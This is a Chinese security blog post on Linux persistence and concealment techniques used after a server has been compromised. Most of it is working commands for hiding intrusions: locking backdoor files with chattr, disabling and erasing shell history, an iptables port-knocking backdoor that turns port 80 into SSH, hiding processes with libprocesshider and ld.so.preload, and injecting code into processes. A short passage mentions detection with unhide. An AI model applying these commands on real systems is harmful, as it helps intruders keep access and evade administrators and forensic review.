专栏首页Bypass【权限维持】Linux下的几种隐藏技术

【权限维持】Linux下的几种隐藏技术

0x00 前言

攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。

0x01 隐藏文件

Linux 下创建一个隐藏文件:touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如

/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

0x02 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。

chattr +i evil.php 锁定文件lsattr  evil.php   属性查看chattr -i evil.php 解除锁定rm -rf 1.evil.php  删除文件

0x03 隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set +o history备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' .bash_history

0x04 端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

 #安装SSLH sudo apt-get install sslh #配置SSLH 编辑 SSLH 配置文件: sudo vi /etc/default/sslh 1、找到下列行:Run=no  将其修改为:Run=yes 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

第二种方式:利用IPTables进行端口复用

# 端口复用链iptables -t nat -N LETMEIN# 端口复用规则iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22# 开启开关iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT# 关闭开关iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT# let's do itiptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

利用方式:

#开启复用echo threathuntercoming | socat - tcp:192.168.28.128:80#ssh使用80端口进行登录ssh -p 80 root@192.168.28.128#关闭复用echo threathunterleaving | socat - tcp:192.168.28.128:80

具体文章详见:远程遥控 IPTables 进行端口复用

0x05 进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法:libprocesshider

github项目地址:https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下:

# 下载程序编译git clone https://github.com/gianlucaborello/libprocesshider.gitcd libprocesshider/ && make# 移动文件到/usr/local/lib/目录下cp libprocesshider.so /usr/local/lib/# 把它加载到全局动态连接局echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试:运行 evil_script.py

此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。

如何在Linux中发现隐藏的进程?

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。

下载地址:http://www.unhide-forensics.info/

# 安装sudo yum install unhide# 使用unhide [options] test_list

使用unhide proc发现隐藏进程evil_script.py,如下图所示:

第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址: https://github.com/gaffe23/linux-inject.git

# 下载程序编译git clone https://github.com/gaffe23/linux-inject.gitcd linux-inject && make# 测试进程./sample-target# 进程注入./inject -n sample-target sample-library.so

验证进程注入成功,如下图所示:

本文分享自微信公众号 - Bypass(Bypass--),作者:Bypass

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 如何绕过堡垒机远程登录

    假设一个场景:在Webshell中执行mimikatz获取到win管理员密码,并且本地查看端口3389是开放的,可是从当前跳板机无法远程到目标机器。因为某个特定...

    Bypass
  • 【代码审计】后台Getshell的两种常规姿势

    在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作...

    Bypass
  • Linux端口转发的几种常用方法

    在一些实际的场景里,我们需要通过利用一些端口转发工具,比如系统自带的命令行工具或第三方小软件,来绕过网络访问限制触及目标系统。

    Bypass
  • 前端|npm全局创建wps加载项

    基于vscode的方式创建wps加载项在获取类型之后,无法自动生成wps加载项,在网上查询相关问题内容也无果。不过Wps官方文档又更新了通过npm全局的方式创建...

    算法与编程之美
  • python调用Face++,玩坏了!

    看到一句话,如果你写代码没有写诗一样的感觉,那你不适合做程序猿! 还是直接上代码吧: import requests from json import JSON...

    MachineLP
  • JavaScript 中的代理对象

    JavaScript 支持 setter 和 getter 已经很长时间了。他们用带有 set 和 get 关键字的简单语法来拦截对象的属性访问和值的修改操作...

    疯狂的技术宅
  • 谈谈Mux与门电路的相互替换(包含实例分析)

    今天开始正式尝试使用微信公众号同步博客文章,个人博客地址为:https://blog.csdn.net/Reborn_Lee

    Reborn Lee
  • 为什么微软office动辄几个GB而wps实现相同功能却几百兆呢?

    客观评判这件事,wps从技术层面距离office还是有着非常大的差异,目前wps只是完成了office一些常见的功能,很多不常见的特效或者功能wps压根没有去做...

    程序员互动联盟
  • Python标准库07 信号 (signal包,部分os包)

    在了解了Linux的信号基础之后,Python标准库中的signal包就很容易学习和理解。signal包负责在Python程序内部处理信号,典型的操作包括预设信...

    Vamei
  • [第三周]Python内置函数功能汇总

    3.5版本中的68个内置函数分类(https://blog.csdn.net/oaa608868/article/details/53506188)

    OrekiShiko

扫码关注云+社区

领取腾讯云代金券